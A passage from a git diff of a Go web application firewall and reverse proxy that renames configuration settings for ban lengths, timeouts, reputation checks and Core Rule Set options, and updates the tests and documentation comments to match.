ScopeWatchedNet, netblock: named.Netblock, name: named.Name, - }, p.Watch, + }, p.WatchedNet, }) } } diff --git a/internal/anomaly/anomaly_test.go b/internal/anomaly/anomaly_test.go index 81bf9fe..57b1976 100644 --- a/internal/anomaly/anomaly_test.go +++ b/internal/anomaly/anomaly_test.go @@ -26,7 +26,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) { overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1} counters := anomaly.New(anomaly.Params{ Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond, - Total: overAtTheSecond, Watch: overAtTheSecond, + Total: overAtTheSecond, WatchedNet: overAtTheSecond, // The netblock around a client is the client's own, and two names // name one netblock. NetV4Prefix: 32, diff --git a/internal/bans/bans.go b/internal/bans/bans.go index b4c7646..3579399 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -1,6 +1,6 @@ // Package bans is the ban ledger: the bans sww makes on the -// netblocks of clients that break a rate limit, a byte limit or the error -// burst, show a clear sign of attack or are listed by the CrowdSec +// netblocks of clients that break a rate limit, a byte limit or the refusal +// limit, show a clear sign of attack or are listed by the CrowdSec // decision list, and // those an admin makes, with their notes, as the "Bans" section of SPEC.md // describes. The bans are kept in memory, and written to bans.json and @@ -49,9 +49,9 @@ type Params struct { // CrowdSec's decision, a broken limit counts as a repeat, which bans for // repeatFactor times as long as that ban. LimitBanRepeatWindow time.Duration - // MaxBanDuration is the longest ban for a broken limit; one that would - // be longer is permanent instead. - MaxBanDuration time.Duration + // A ban for a broken limit that would be longer than + // LimitBanPermanentAbove is permanent instead. + LimitBanPermanentAbove time.Duration // AttackBanDuration is how long a first ban for a clear sign of attack // lasts. AttackBanDuration time.Duration @@ -105,7 +105,7 @@ type Notes struct { Country string `json:"country"` // Kind, Limit, Window and Count are, for a ban for a broken limit, // what the limit was on, "requests" for a rate limit, "bytes" for a - // byte limit or "refusals" for the error burst, the limit that was + // byte limit or "refusals" for the refusal limit, the limit that was // broken, its window, "minute", "hour" or "day", and the count reached: // the client's requests, bytes or refusals in the window, those of the // request that broke the limit included. @@ -306,7 +306,7 @@ func activeBan(bans []Ban, now time.Time) *Ban { // last, other than one for a clear sign of attack or for CrowdSec's // decision, or a lifted one, lasts // repeatFactor times as long as that one. A ban that would be longer -// than MaxBanDuration is permanent instead. If a ban on netblock is still +// than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still // active, as when two of its requests break a limit at once, that ban is // returned with false, and no other is made. The ledger fills in the // notes' Refused and EarlierBans itself, and gives the ban the reason @@ -932,16 +932,16 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time { if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow { lastLength := last.Expires.Sub(last.Start) - // This is repeatFactor * lastLength > MaxBanDuration, written so + // This is repeatFactor * lastLength > LimitBanPermanentAbove, written so // that it cannot overflow. - if lastLength > l.params.MaxBanDuration/repeatFactor { + if lastLength > l.params.LimitBanPermanentAbove/repeatFactor { return time.Time{} } length = repeatFactor * lastLength } - if length > l.params.MaxBanDuration { + if length > l.params.LimitBanPermanentAbove { return time.Time{} } diff --git a/internal/bans/bans_test.go b/internal/bans/bans_test.go index a6b2d9c..e3f3b21 100644 --- a/internal/bans/bans_test.go +++ b/internal/bans/bans_test.go @@ -97,11 +97,11 @@ func TestRepeatWindowRunsOut(t *testing.T) { } } -func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) { +func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) { t.Parallel() params := defaultParams() - params.LimitBanDuration = params.MaxBanDuration + time.Hour + params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour ledger := bans.New(params) ban, _ := ledger.BanForLimit( @@ -114,14 +114,14 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) { } } -func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) { +func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) { t.Parallel() - // With bans of up to 100,000 days, the 14th ban in a row, of 3^13 - // hours, is within the maximum, and three times as long would not fit - // in a time.Duration. The 15th is permanent. + // With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of + // 3^13 hours, is not above it, and three times as long would not fit in + // a time.Duration. The 15th is permanent. params := defaultParams() - params.MaxBanDuration = 100000 * day + params.LimitBanPermanentAbove = 100000 * day ledger := bans.New(params) netblock := netip.MustParsePrefix("203.0.113.9/32") now := midnight() @@ -650,11 +650,11 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) { // defaultParams are the params at the settings' defaults. func defaultParams() bans.Params { return bans.Params{ - LimitBanDuration: time.Hour, - LimitBanRepeatWindow: day, - MaxBanDuration: 7 * day, - AttackBanDuration: 7 * day, - MaxBans: 5000, + LimitBanDuration: time.Hour, + LimitBanRepeatWindow: day, + LimitBanPermanentAbove: 7 * day, + AttackBanDuration: 7 * day, + MaxBans: 5000, } } diff --git a/internal/config/config.go b/internal/config/config.go index 7b09f79..f85a00e 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -16,6 +16,7 @@ import ( "os" "strconv" "strings" + "time" "github.com/spf13/viper" ) @@ -36,7 +37,9 @@ const ( var ( errNotSize = errors.New( "is not a size such as 512K, 100M or 5G, or off") - errNotPositive = errors.New("must be more than zero, or off") + errNotPositive = errors.New("must be more than zero, or off") + errNotMilliseconds = errors.New( + "is not a whole number of milliseconds above zero, such as 2000") errEmptyItem = errors.New("has an empty item in its list") errNotNetblock = errors.New( "is not a netblock such as 10.0.0.0/8, or an address") @@ -62,10 +65,10 @@ func Command(v *viper.Viper) (string, error) { } } -// environment is where FromEnvironment reads the settings: it notes each -// value for the log, and keeps the first error. It reads every setting -// through v, the viper NewViper returns, and honours each setting's _FILE -// form too. +// environment is where WAFFromEnvironment and RProxyFromEnvironment read the +// settings: it notes each value for the log, and keeps the first error. It +// reads every setting through v, the viper NewViper returns, and honours +// each setting's _FILE form too. type environment struct { v *viper.Viper settings []slog.Attr @@ -162,6 +165,19 @@ func (e *environment) size(name, defaultValue string) int64 { return size } +// milliseconds reads a setting that is a whole number of milliseconds above +// zero. +func (e *environment) milliseconds(name, defaultValue string) time.Duration { + value := e.value(name, defaultValue) + + duration, valid := parseMilliseconds(value) + if !valid { + e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds)) + } + + return duration +} + // parseSize reads a number of bytes with an optional K, M or G suffix, in // powers of 1024 (1K is 1024 bytes), or off. func parseSize(value string) (int64, error) { @@ -198,6 +214,17 @@ func splitUnit(value string) (string, int64) { } } +// parseMilliseconds reads a whole number of milliseconds above zero, and +// reports whether it is one. +func parseMilliseconds(value string) (time.Duration, bool) { + n, err := strconv.ParseInt(value, 10, 64) + if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) { + return 0, false + } + + return time.Duration(n) * time.Millisecond, true +} + // parseList splits a comma-separated list and trims the spaces around // each item. An empty value is an empty list. func parseList(value string) ([]string, error) { diff --git a/internal/config/rproxy.go b/internal/config/rproxy.go index 731caee..feff306 100644 --- a/internal/config/rproxy.go +++ b/internal/config/rproxy.go @@ -4,7 +4,6 @@ import ( "errors" "fmt" "log/slog" - "math" "net/netip" "net/url" "strconv" @@ -25,13 +24,15 @@ type RProxy struct { TrustedProxies []netip.Prefix // WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND). WAFBackend *url.URL - // Timeout is how long rproxy waits for waf's answer to a question, - // and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off. - Timeout time.Duration - // DefaultDisposition is what is done with a request when waf cannot be - // connected to, does not answer at all, or does not answer within Timeout: - // allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION). - DefaultDisposition string + // WAFBackendTimeout is how long rproxy waits for waf's answer to a + // question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It + // cannot be off. + WAFBackendTimeout time.Duration + // WAFBackendNoAnswerDisposition is what is done with a request when waf + // cannot be connected to, does not answer at all, or does not answer + // within WAFBackendTimeout: allow or deny + // (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION). + WAFBackendNoAnswerDisposition string // MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and // MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE). MaxRequestSize int64 @@ -62,9 +63,7 @@ var ( "such as http://127.0.0.1:8081") errNeedsWAFBackend = errors.New( "is required: it is waf's URL, such as http://waf:8080") - errNotDisposition = errors.New("is not allow or deny") - errNotMilliseconds = errors.New( - "is not a whole number of milliseconds above zero, such as 2000") + errNotDisposition = errors.New("is not allow or deny") errNotMillisecondsOrOff = errors.New( "is not a whole number of milliseconds above zero, such as 60000, or off", ) @@ -89,9 +88,12 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) { privateRanges, ), WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"), - Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"), - DefaultDisposition: env.disposition( - "SWW_RPROXY_DEFAULT_DISPOSITION", + WAFBackendTimeout: env.milliseconds( + "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", + "2000", + ), + WAFBackendNoAnswerDisposition: env.disposition( + "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION", "allow", ), MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"), @@ -173,19 +175,6 @@ func (e *environment) disposition(name, defaultValue string) string { return value } -// milliseconds reads a setting that is a whole number of milliseconds above -// zero. -func (e *environment) milliseconds(name, defaultValue string) time.Duration { - value := e.value(name, defaultValue) - - duration, valid := parseMilliseconds(value) - if !valid { - e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds)) - } - - return duration -} - // millisecondsOrOff reads a setting that is a whole number of milliseconds // above zero, or off, which is 0. func (e *environment) millisecondsOrOff( @@ -204,17 +193,6 @@ func (e *environment) millisecondsOrOff( return duration } -// parseMilliseconds reads a whole number of milliseconds above zero, and -// reports whether it is one. -func parseMilliseconds(value string) (time.Duration, bool) { - n, err := strconv.ParseInt(value, 10, 64) - if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) { - return 0, false - } - - return time.Duration(n) * time.Millisecond, true -} - // parseUpstreamURL reads the app's URL: http or https, a host and an // optional port from 1 to 65535, and nothing else, since the request's // own path and query go to the app unchanged. diff --git a/internal/config/rproxy_test.go b/internal/config/rproxy_test.go index 37ed3ad..ca294b6 100644 --- a/internal/config/rproxy_test.go +++ b/internal/config/rproxy_test.go @@ -15,20 +15,20 @@ import ( // rproxy's settings, by name, and their values in these tests. const ( - wafBackend = "SWW_RPROXY_WAF_BACKEND" - rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS" - rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION" - rproxyListen = "SWW_RPROXY_LISTEN_ADDR" - rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL" - rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES" - rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE" - rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE" - rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS" - rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS" - backendURL = "http://waf:8080" - rproxyDefaultAddr = ":8080" - rproxyDefaultApp = "http://127.0.0.1:8081" - notASize = "a lot" + wafBackend = "SWW_RPROXY_WAF_BACKEND" + wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS" + rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION" + rproxyListen = "SWW_RPROXY_LISTEN_ADDR" + rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL" + rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES" + rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE" + rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE" + rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS" + rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS" + backendURL = "http://waf:8080" + rproxyNoAnswerAddr = ":8080" + rproxyNoAnswerApp = "http://127.0.0.1:8081" + notASize = "a lot" ) // rproxyConfig reads rproxy's settings from env. @@ -44,8 +44,8 @@ func TestRProxyDefaults(t *testing.T) { t.Fatalf("settings: %v", err) } - if cfg.ListenAddr != rproxyDefaultAddr || - cfg.UpstreamURL.String() != rproxyDefaultApp || + if cfg.ListenAddr != rproxyNoAnswerAddr || + cfg.UpstreamURL.String() != rproxyNoAnswerApp || cfg.WAFBackend.String() != backendURL { t.Errorf( "addresses %q, %v, %v", @@ -55,11 +55,12 @@ func TestRProxyDefaults(t *testing.T) { ) } - if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" { + if cfg.WAFBackendTimeout != 2*time.Second || + cfg.WAFBackendNoAnswerDisposition != "allow" { t.Errorf( - "timeout %v, default disposition %q", - cfg.Timeout, - cfg.DefaultDisposition, + "waf backend timeout %v, no-answer disposition %q", + cfg.WAFBackendTimeout, + cfg.WAFBackendNoAnswerDisposition, ) } @@ -90,8 +91,8 @@ func TestRProxySettingsAreRead(t *testing.T) { rproxyListen: ":9000", rproxyUpstream: "http://app:3000", rproxyTrusted: "192.0.2.0/24", - rproxyTimeout: "150", - rproxyDefault: "deny", + wafBackendTimeout: "150", + rproxyNoAnswer: "deny", rproxyMaxRequest: "1K", rproxyMaxResponse: off, rproxyRequestTime: off, @@ -107,8 +108,8 @@ func TestRProxySettingsAreRead(t *testing.T) { t.Errorf("addresses %+v", cfg) } - if cfg.Timeout != 150*time.Millisecond || - cfg.DefaultDisposition != "deny" || + if cfg.WAFBackendTimeout != 150*time.Millisecond || + cfg.WAFBackendNoAnswerDisposition != "deny" || cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 || cfg.MaxRequestTime != 0 || @@ -126,13 +127,13 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) { {wafBackend, ""}, {wafBackend, "waf:8080"}, {wafBackend, "http://waf:8080/path"}, - {rproxyTimeout, "0"}, - {rproxyTimeout, "-1"}, - {rproxyTimeout, off}, - {rproxyTimeout, "2s"}, - {rproxyTimeout, "1.25"}, - {rproxyTimeout, "99999999999999999"}, - {rproxyDefault, "maybe"}, + {wafBackendTimeout, "0"}, + {wafBackendTimeout, "-1"}, + {wafBackendTimeout, off}, + {wafBackendTimeout, "2s"}, + {wafBackendTimeout, "1.25"}, + {wafBackendTimeout, "99999999999999999"}, + {rproxyNoAnswer, "maybe"}, {rproxyListen, "8080"}, {rproxyUpstream, "app"}, {rproxyUpstream, "127.0.0.1:8081"}, @@ -219,11 +220,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) { for _, path := range []string{filepath.Join(dir, "missing"), dir} { _, err := rproxyConfig(map[string]string{ - wafBackend: backendURL, - rproxyTimeout + "_FILE": path, + wafBackend: backendURL, + wafBackendTimeout + "_FILE": path, }) - want := rproxyTimeout + "_FILE: cannot be read: " + want := wafBackendTimeout + "_FILE: cannot be read: " if err == nil || !strings.HasPrefix(err.Error(), want) { t.Errorf("%s: error %v, want one starting %s", path, err, want) } @@ -246,7 +247,8 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) { } for _, name := range []string{ - rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault, + rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout, + rproxyNoAnswer, rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime, } { if !slices.Contains(names, name) { diff --git a/internal/config/viper_test.go b/internal/config/viper_test.go index e7ce54d..dd0969f 100644 --- a/internal/config/viper_test.go +++ b/internal/config/viper_test.go @@ -11,7 +11,7 @@ import ( func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) { t.Setenv(adminToken, "") - _, err := config.FromEnvironment(config.NewViper()) + _, err := config.WAFFromEnvironment(config.NewViper()) want := adminToken + ": is shorter than 32 characters" if err == nil || err.Error() != want { diff --git a/internal/config/waf.go b/internal/config/waf.go index fe777e9..dfe5e72 100644 --- a/internal/config/waf.go +++ b/internal/config/waf.go @@ -27,9 +27,8 @@ import ( "sneak.berlin/go/smallwebwaf/internal/remotelog" ) -// Config is the settings of `sww waf`. A time or size limit of -// zero is off. -type Config struct { +// WAF is the settings of `sww waf`. A time or size limit of zero is off. +type WAF struct { // ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR). ListenAddr string // InstanceName is the name every log line and alert gives as instance, @@ -70,25 +69,26 @@ type Config struct { // BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the // most bytes a client's requests may carry in a minute, an hour and a // day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and - // SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count - // toward them (SWW_WAF_BYTES_COUNT): response, request or both. + // SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCounted is which body bytes count + // toward them and the byte anomaly thresholds (SWW_WAF_BYTES_COUNTED): + // response, request or both. BytesLimitPerMinute int64 BytesLimitPerHour int64 BytesLimitPerDay int64 - BytesCount string - // LookupSource is where each client's AS number and country are - // looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere. - // LookupDBPath is the lookup database, the IPinfo Lite file looked up - // in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any - // other source. A request waits up to LookupTimeout for its client's - // first answer from GeoJS while a setting needs it - // (SWW_WAF_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true - // when the app is passed the client's AS number and country in headers - // (SWW_WAF_ADD_LOOKUP_HEADERS). - LookupSource string - LookupDBPath string - LookupTimeout time.Duration - AddLookupHeaders bool + BytesCounted string + // LookupSource is where each client's AS number and country are looked + // up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere. + // LookupDBPath is the lookup database, the IPinfo Lite file looked up in + // while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any + // other source. A request waits up to ASNAndCountryLookupTimeout for its + // client's first answer from GeoJS while a setting needs it + // (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off. + // AddLookupHeaders is true when the app is passed the client's AS number + // and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS). + LookupSource string + LookupDBPath string + ASNAndCountryLookupTimeout time.Duration + AddLookupHeaders bool // ExclusivelyAllowedCountries, when not empty, are the only countries // whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES), // two-letter codes in capitals, as GeoJS gives them. @@ -105,21 +105,22 @@ type Config struct { // RouteWatchURL is where the routewatch instance is that adds the asn= // and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL). RouteWatchURL string - // The biased thresholds. ASNBytesPercent and CountryBytesPercent give - // those they list a percentage of the byte limits in place of the one - // TagLimitPercent gives their asn= or country= tag - // (SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT). Each holds - // percentages from 0 to 100, by AS number, written as AS64496, or by - // country, a two-letter code in capitals, as the lookup gives them. - // UnknownLimitPercent is the percentage of every limit a client without - // a country gets (SWW_WAF_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is + // The biased thresholds. ASNBytesLimitPercent and + // CountryBytesLimitPercent give those they list a percentage of the byte + // limits in place of the one TagLimitPercent gives their asn= or + // country= tag (SWW_WAF_ASN_BYTES_LIMIT_PERCENT and + // SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT). Each holds percentages from 0 to + // 100, by AS number, written as AS64496, or by country, a two-letter + // code in capitals, as the lookup gives them. UnknownCountryLimitPercent + // is the percentage of every limit a client without a country gets + // (SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT). ASNLimitPercentURL is // where a file of AS:percent lines is fetched from, whose percentages // count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL), // "" while it is unset. - ASNBytesPercent map[string]int64 - CountryBytesPercent map[string]int64 - UnknownLimitPercent int64 - ASNLimitPercentURL string + ASNBytesLimitPercent map[string]int64 + CountryBytesLimitPercent map[string]int64 + UnknownCountryLimitPercent int64 + ASNLimitPercentURL string // BlocklistURLs are where the blocklists are fetched from // (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is // fetched again BlocklistRefresh after it was last fetched or tried @@ -139,21 +140,23 @@ type Config struct { // of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and // at most AbuseIPDBDailyBudget checks are made a day // (SWW_WAF_ABUSEIPDB_DAILY_BUDGET). - // ReputationAction is what is done with a client a zone's verdict lists, - // or whose score is a hit (SWW_WAF_REPUTATION_ACTION): deny, limit or log; - // for limit, ReputationLimitPercent is the percentage of every limit it - // gets. A verdict or a score is used for ReputationCacheTTL after it was - // fetched (SWW_WAF_REPUTATION_CACHE_TTL), and a query or a check may take - // ReputationTimeout (SWW_WAF_REPUTATION_TIMEOUT). Neither can be off. - DNSBLZones []string - DNSBLResolver netip.AddrPort - AbuseIPDBKey string - AbuseIPDBMinScore int64 - AbuseIPDBDailyBudget int - ReputationAction string - ReputationLimitPercent int64 - ReputationCacheTTL time.Duration - ReputationTimeout time.Duration + // DNSBLAbuseIPDBAction is what is done with a client a zone's verdict + // lists, or whose score is a hit (SWW_WAF_DNSBL_ABUSEIPDB_ACTION): deny, + // limit or log; for limit, DNSBLAbuseIPDBLimitPercent is the percentage + // of every limit it gets. A verdict or a score is used for + // IPReputationCacheTTL after it was fetched + // (SWW_WAF_IP_REPUTATION_CACHE_TTL), and a query or a check may take + // DNSBLAbuseIPDBTimeout (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS). Neither + // can be off. + DNSBLZones []string + DNSBLResolver netip.AddrPort + AbuseIPDBKey string + AbuseIPDBMinScore int64 + AbuseIPDBDailyBudget int + DNSBLAbuseIPDBAction string + DNSBLAbuseIPDBLimitPercent int64 + IPReputationCacheTTL time.Duration + DNSBLAbuseIPDBTimeout time.Duration // CrowdSecDecisionsURL is where the decision list of the CrowdSec // engine whose local API SWW_WAF_CROWDSEC_LAPI_URL names is fetched from: // that URL with v1/decisions added to its path, "" while it is unset and @@ -171,11 +174,11 @@ type Config struct { // (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within // LimitBanRepeatWindow after the last ban ended bans for three times // as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that - // would be longer than MaxBanDuration is permanent instead - // (SWW_WAF_MAX_BAN_DURATION). None of them can be off. - LimitBanDuration time.Duration - LimitBanRepeatWindow time.Duration - MaxBanDuration time.Duration + // would be longer than LimitBanPermanentAbove is permanent instead + // (SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE). None of them can be off. + LimitBanDuration time.Duration + LimitBanRepeatWindow time.Duration + LimitBanPermanentAbove time.Duration // AttackBanDuration is the ban for a first clear sign of attack // (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off. AttackBanDuration time.Duration @@ -185,13 +188,13 @@ type Config struct { // client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX). BanScopeV4Prefix int // StateDir is the directory of the state files, an absolute path - // (SWW_WAF_STATE_DIR). bans.json is written StateWriteDelay after a ban - // is made (SWW_WAF_STATE_WRITE_DELAY), and every state and cache file - // every StateCounterInterval (SWW_WAF_STATE_COUNTER_INTERVAL). Neither + // (SWW_WAF_STATE_DIR). bans.json is written BansWriteDelay after a ban + // is made (SWW_WAF_BANS_WRITE_DELAY), and every state and cache file + // every StateWriteInterval (SWW_WAF_STATE_WRITE_INTERVAL). Neither // can be off. - StateDir string - StateWriteDelay time.Duration - StateCounterInterval time.Duration + StateDir string + BansWriteDelay time.Duration + StateWriteInterval time.Duration // CacheDir is the directory of the cache files, which keep answers // from outside services, an absolute path (SWW_WAF_CACHE_DIR). CacheDir string @@ -207,32 +210,38 @@ type Config struct { AdminToken string // MetricsToken is the bearer token a scraper sends for the metrics // (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off. - // MetricsTopN is how many AS numbers and how many countries get series - // of their own in the metrics (SWW_WAF_METRICS_TOP_N). - MetricsToken string - MetricsTopN int - // RulesDir is the directory of the rule files (SWW_WAF_RULES_DIR), read - // unless RulesEnabled is false (SWW_WAF_RULES_ENABLED). - RulesDir string - RulesEnabled bool - // WAFMode is what the Core Rule Set does (SWW_WAF_CORE_RULE_SET_MODE): WAFModeOff, - // WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia - // level, from 1 to 4 (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and - // WAFAnomalyThreshold the anomaly score at which a request is a match - // (SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules - // are the ids of its rules switched off (SWW_WAF_CORE_RULE_SET_DISABLED_RULES), - // WAFExemptPaths the path prefixes it does not inspect - // (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS), and WAFBodyLimit the most of a request body - // it reads (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none. + // MetricsBusiestCountriesAndASNs is how many AS numbers and how many + // countries get series of their own in the metrics + // (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). + MetricsToken string + MetricsBusiestCountriesAndASNs int + // RuleFilesDir is the directory of the rule files + // (SWW_WAF_RULE_FILES_DIR), read unless RuleFilesEnabled is false + // (SWW_WAF_RULE_FILES_ENABLED). + RuleFilesDir string + RuleFilesEnabled bool + // CoreRuleSetMode is what the Core Rule Set does + // (SWW_WAF_CORE_RULE_SET_MODE): CoreRuleSetModeOff, + // CoreRuleSetModeDetect or CoreRuleSetModeBlock. + // CoreRuleSetParanoiaLevel is its paranoia level, from 1 to 4 + // (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and CoreRuleSetScoreThreshold + // the anomaly score at which a request is a match + // (SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD), 0 while it is off. + // CoreRuleSetDisabledRules are the ids of its rules switched off + // (SWW_WAF_CORE_RULE_SET_DISABLED_RULES), CoreRuleSetExemptPaths the + // path prefixes it does not inspect (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS), + // and CoreRuleSetBodyInspectionSize the most of a request body it reads + // (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off and it + // reads none. // CoreRuleSetExclusionsFile is the path of the file of its exclusions // (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none. - WAFMode string - WAFParanoiaLevel int - WAFAnomalyThreshold int - WAFDisabledRules []int - WAFExemptPaths []string - WAFBodyLimit int64 - CoreRuleSetExclusionsFile string + CoreRuleSetMode string + CoreRuleSetParanoiaLevel int + CoreRuleSetScoreThreshold int + CoreRuleSetDisabledRules []int + CoreRuleSetExemptPaths []string + CoreRuleSetBodyInspectionSize int64 + CoreRuleSetExclusionsFile string // Apps are the names of the apps each hostname serves, by hostname in // lowercase (SWW_WAF_APPS): a request gets only its hostname's apps' fixes // to the Core Rule Set. Apps is nil while SWW_WAF_APPS is unset, and every @@ -241,25 +250,26 @@ type Config struct { // TrapPaths are the paths a request for which is a clear sign of // attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?. TrapPaths []string - // ErrorBurstThreshold is the most requests of a client within a minute + // RefusalsLimitPerMinute is the most requests of a client within a minute // that waf may refuse after a rule file or Core Rule Set match; one - // more breaks a limit (SWW_WAF_ERROR_BURST_THRESHOLD). 0 is off. - ErrorBurstThreshold int64 + // more breaks a limit (SWW_WAF_REFUSALS_LIMIT_PER_MINUTE). 0 is off. + RefusalsLimitPerMinute int64 // LogRemoteURL is where every line on stdout is also sent // (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent. // LogRemoteTLSCAs are the certificates a syslog+tls endpoint's // certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while - // it is unset and the host's own are used. LogRemoteBuffer is the most - // lines held while they wait to be sent (SWW_WAF_LOG_REMOTE_BUFFER). + // it is unset and the host's own are used. LogRemoteBufferLines is the + // most lines held while they wait to be sent + // (SWW_WAF_LOG_REMOTE_BUFFER_LINES). // LogRemoteFacility is the number of the syslog facility // (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME // (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records // the lines are sent in. - LogRemoteURL *url.URL - LogRemoteTLSCAs *x509.CertPool - LogRemoteBuffer int - LogRemoteFacility int - LogRemoteAppName string + LogRemoteURL *url.URL + LogRemoteTLSCAs *x509.CertPool + LogRemoteBufferLines int + LogRemoteFacility int + LogRemoteAppName string // AlertWebhookURL is where each alert is posted as JSON // (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders // are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS). @@ -285,19 +295,19 @@ type Config struct { // and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*), // per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number // (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*) - // and per named netblock (SWW_WAF_WATCH_*), each 0 while it is off. - // AnomalyNetV4Prefix and 